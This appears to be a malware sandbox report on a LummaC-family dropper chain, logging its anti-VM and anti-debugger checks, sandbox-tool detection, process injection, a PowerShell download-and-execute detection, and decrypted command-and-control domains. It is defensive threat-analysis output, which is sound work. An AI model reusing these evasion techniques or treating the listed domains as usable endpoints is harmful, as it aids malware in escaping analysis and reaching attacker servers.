Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7936 Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe TID: 4500 Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe TID: 5888 Thread sleep time: -44022s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe TID: 5216 Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe TID: 5572 Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe TID: 4176 Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe TID: 4628 Thread sleep time: -40020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe TID: 6112 Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe TID: 2908 Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe TID: 6440 Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe TID: 6468 Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe TID: 6308 Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe TID: 7628 Thread sleep time: -240000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe TID: 7920 Thread sleep time: -132000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe TID: 420 Thread sleep count: 116 > 30
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe TID: 420 Thread sleep time: -696000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe TID: 4336 Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe TID: 3760 Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe TID: 7632 Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe TID: 7076 Thread sleep time: -138000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe TID: 1120 Thread sleep count: 48 > 30
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe TID: 1120 Thread sleep time: -288000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe TID: 3892 Thread sleep time: -132000s >= -30000s
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Users\user\Desktop\file.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_0021DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose, 6_2_0021DBBE
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_002268EE FindFirstFileW,FindClose, 6_2_002268EE
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_0022698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime, 6_2_0022698F
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_0021D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose, 6_2_0021D076
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_0021D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose, 6_2_0021D3A9
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_00229642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, 6_2_00229642
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_0022979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, 6_2_0022979D
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_00229B2B FindFirstFileW,Sleep,FindNextFileW,FindClose, 6_2_00229B2B
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_00225C97 FindFirstFileW,FindNextFileW,FindClose, 6_2_00225C97
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_001B42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo, 6_2_001B42DE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 30000
Source: file.exe, 9b7d422018.exe.26.dr Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 9b7d422018.exe, 0000001F.00000003.2622539528.000000000068C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW6
Source: a4769912c1.exe, 00000022.00000002.2749978243.00000000006BB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware'
Source: a4769912c1.exe, 0000001C.00000002.2540654902.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMwarec
Source: 7617eef03d.exe, 00000020.00000002.2660406251.0000000000FBF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW@>
Source: KGMUJDGOAL6LWD7UD45LIZ.exe, 00000004.00000003.1965671448.00000000017FA000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: a4769912c1.exe, 0000001C.00000002.2540654902.0000000000BEB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWp&
Source: file.exe, 00000000.00000003.1708086827.0000000001100000.00000004.00000020.00020000.00000000.sdmp, 2SGVUOBNN8HUJ5IDUWDR.exe, 00000005.00000002.2018712673.0000000000FFD000.00000004.00000020.00020000.00000000.sdmp, 2SGVUOBNN8HUJ5IDUWDR.exe, 00000005.00000002.2018712673.0000000000FF6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2658370035.00000000013A6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477576841.00000000013A7000.00000004.00000020.00020000.00000000.sdmp, a4769912c1.exe, 0000001C.00000002.2540654902.0000000000BC5000.00000004.00000020.00020000.00000000.sdmp, a4769912c1.exe, 0000001C.00000002.2540654902.0000000000BFA000.00000004.00000020.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2596186825.0000000000BF6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2622539528.000000000068C000.00000004.00000020.00020000.00000000.sdmp, 7617eef03d.exe, 00000020.00000002.2660406251.0000000000FBF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: a4769912c1.exe, 00000022.00000002.2749978243.00000000006BB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware
Source: firefox.exe, 00000015.00000003.2250235920.0000016C7F6C8000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: 2SGVUOBNN8HUJ5IDUWDR.exe, 00000005.00000002.2018712673.0000000000FC5000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW(
Source: 9b7d422018.exe, 0000001B.00000003.2658370035.00000000013A6000.00000004.00000020.00020000.00000000.sdmp, 9b7d422018.exe, 0000001B.00000003.2477576841.00000000013A7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWj8
Source: file.exe, 9b7d422018.exe.26.dr Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: C:\Users\user\Desktop\file.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\file.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe Thread information set: HideFromDebugger
Potentially malicious time measurement code found
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Code function: 4_2_05690149 Start: 0569023F End: 0569016B 4_2_05690149
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks for debuggers (devices)
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe File opened: SIWVID
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe Process queried: DebugPort
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Code function: 4_2_05690BF7 rdtsc 4_2_05690BF7
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_0022EAA2 BlockInput, 6_2_0022EAA2
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_001E2622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 6_2_001E2622
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_001B42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo, 6_2_001B42DE
Contains functionality to read the PEB
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_001D4CE8 mov eax, dword ptr fs:[00000030h] 6_2_001D4CE8
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_00210B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree, 6_2_00210B62
Enables debug privileges
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_001E2622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 6_2_001E2622
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_001D083F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 6_2_001D083F
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_001D09D5 SetUnhandledExceptionFilter, 6_2_001D09D5
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_001D0C21 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 6_2_001D0C21
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Memory protected: page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: 2SGVUOBNN8HUJ5IDUWDR.exe PID: 8020, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: a4769912c1.exe PID: 2696, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 7617eef03d.exe PID: 6788, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: a4769912c1.exe PID: 7928, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 572c19a989.exe PID: 1208, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 768041f87c.exe PID: 7060, type: MEMORYSTR
LummaC encrypted strings found
Source: file.exe, 00000000.00000003.1673907386.0000000004E00000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: clearancek.site
Source: file.exe, 00000000.00000003.1673907386.0000000004E00000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: licendfilteo.site
Source: file.exe, 00000000.00000003.1673907386.0000000004E00000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: spirittunek.stor
Source: file.exe, 00000000.00000003.1673907386.0000000004E00000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: bathdoomgaz.stor
Source: file.exe, 00000000.00000003.1673907386.0000000004E00000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: studennotediw.stor
Source: file.exe, 00000000.00000003.1673907386.0000000004E00000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: dissapoiznw.stor
Source: file.exe, 00000000.00000003.1673907386.0000000004E00000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: eaglepawnoy.stor
Source: file.exe, 00000000.00000003.1673907386.0000000004E00000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: mobbipenju.stor
Contains functionality to execute programs as a different user
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_00211201 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock, 6_2_00211201
Contains functionality to launch a program with higher privileges
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_001F2BA5 KiUserCallbackDispatcher,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW, 6_2_001F2BA5
Contains functionality to simulate keystroke presses
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_0021B226 SendInput,keybd_event, 6_2_0021B226
Contains functionality to simulate mouse events
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_002322DA GetForegroundWindow,GetDesktopWindow,GetWindowRect,mouse_event,GetCursorPos,mouse_event, 6_2_002322DA
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe "C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe"
